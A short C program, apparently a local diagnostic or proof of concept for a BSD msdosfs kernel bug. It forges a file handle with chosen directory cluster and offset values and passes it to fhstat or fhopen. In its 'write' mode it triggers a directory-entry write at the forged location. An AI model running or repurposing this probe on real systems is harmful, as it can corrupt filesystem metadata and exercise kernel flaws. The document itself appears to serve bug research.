/* fhtest — build a forged fhandle and pass it to fhstat/fhopen (same
 * VFS_FHTOVP -> msdosfs_fhtovp -> deget path as nfsd). Local diagnostic.
 * usage: fhtest <dirclust> <dirofs>
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <sys/param.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <sys/fcntl.h>
#include <utime.h>

int main(int argc, char **argv)
{
	struct statfs st;
	struct fhandle fh;
	struct stat sb;
	int ret, fd;

	if (argc < 3) return 1;
	if (statfs("/fat", &st)) { perror("statfs"); return 1; }

	memset(&fh, 0, sizeof(fh));
	fh.fh_fsid = st.f_fsid;
	struct { uint16_t len, pad; uint32_t clust, dirofs; } defid;
	defid.len = 12; defid.pad = 0;
	defid.clust = strtoul(argv[1], 0, 0);
	defid.dirofs = strtoul(argv[2], 0, 0);
	memcpy(&fh.fh_fid, &defid, 12);

	if (argc > 3 && !strcmp(argv[3], "write")) {
		/* fhopen the forged handle, then utimes+fchmod+ftruncate the fd:
		 * VOP_SETATTR -> deupdat -> DE_EXTERNALIZE 32-byte write at the
		 * forged (dirclust, dirofs) location. */
		fd = fhopen(&fh, O_RDWR);
		if (fd < 0) { printf("fhopen(%u,%u) errno=%d(%s)\n",
				     defid.clust, defid.dirofs, errno, strerror(errno)); return 1; }
		printf("fhopen(%u,%u) = fd %d -- issuing setattr\n",
		       defid.clust, defid.dirofs, fd);
		struct timeval tv[2];
		tv[0].tv_sec = 1599999999; tv[0].tv_usec = 0;
		tv[1].tv_sec = 1599999999; tv[1].tv_usec = 0;
		ret = futimes(fd, tv);
		printf("futimes = %d errno=%d\n", ret, errno);
		ret = fchmod(fd, 0444);
		printf("fchmod = %d errno=%d\n", ret, errno);
		close(fd);
		return 0;
	}

	errno = 0;
	ret = fhstat(&fh, &sb);
	printf("fhstat(%u,%u) = %d errno=%d(%s)", defid.clust, defid.dirofs,
	       ret, errno, strerror(errno));
	if (ret == 0)
		printf(" -> ino=%llu size=%llu mode=%o uid=%u mtime=%ld",
		       (unsigned long long)sb.st_ino,
		       (unsigned long long)sb.st_size, sb.st_mode,
		       sb.st_uid, sb.st_mtim.tv_sec);
	printf("\n");
	return 0;
}
